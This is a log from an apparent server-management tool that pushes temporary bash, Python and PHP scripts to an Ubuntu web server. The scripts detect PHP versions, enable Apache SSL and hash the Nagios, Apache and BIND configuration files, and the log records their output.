 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-04-20 18:37:19: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'pluto',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'setenvif_module',
      27 => 'socache_shmcb_module',
      28 => 'ssl_module',
      29 => 'status_module',
    ),
  ),
)


2026-04-20 18:37:19: 

PUT: /tmp/pkp732486

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-20 18:37:19: 

chmod 755 /tmp/pkp732486; /tmp/pkp732486; rm /tmp/pkp732486

2026-04-20 18:37:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-20 18:37:19: 

PUT: /tmp/pkp543589

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-20 18:37:20: 

chmod 755 /tmp/pkp543589; /tmp/pkp543589; rm /tmp/pkp543589

2026-04-20 18:37:20: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20


2026-04-20 18:37:20: 

PUT: /tmp/pkp868887

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-20 18:37:21: 

chmod 755 /tmp/pkp868887; /tmp/pkp868887; rm /tmp/pkp868887

2026-04-20 18:37:21: 
(gzipped output)




2026-04-20 18:37:21: 

PUT: /tmp/pkp504413

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-20 18:37:21: 

chmod 755 /tmp/pkp504413; /tmp/pkp504413; rm /tmp/pkp504413

2026-04-20 18:37:22: 


status=ok


2026-04-20 18:37:22: 

PUT: /tmp/pkp311623

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:37:22: 

chmod 755 /tmp/pkp311623; /tmp/pkp311623; rm /tmp/pkp311623

2026-04-20 18:37:22: 
2026-04-20 18:37:22: 

PUT: /tmp/pkp262907

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hostz_pluto_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:37:23: 

chmod 755 /tmp/pkp262907; /tmp/pkp262907; rm /tmp/pkp262907

2026-04-20 18:37:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_pluto_org.conf	481

<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hostz_pluto_org.conf)= 0f07530b943c75cd8c410d7dfc543602
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 14391e87eacd6f9c625f0625b8cccabf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf




STDERR:
/tmp/pkp311623:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-20 18:37:23: Establishing a connection
2026-04-20 18:37:23: 

PUT: /tmp/pkp945656

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 18:37:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp945656; rm /tmp/pkp945656'

2026-04-20 18:37:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
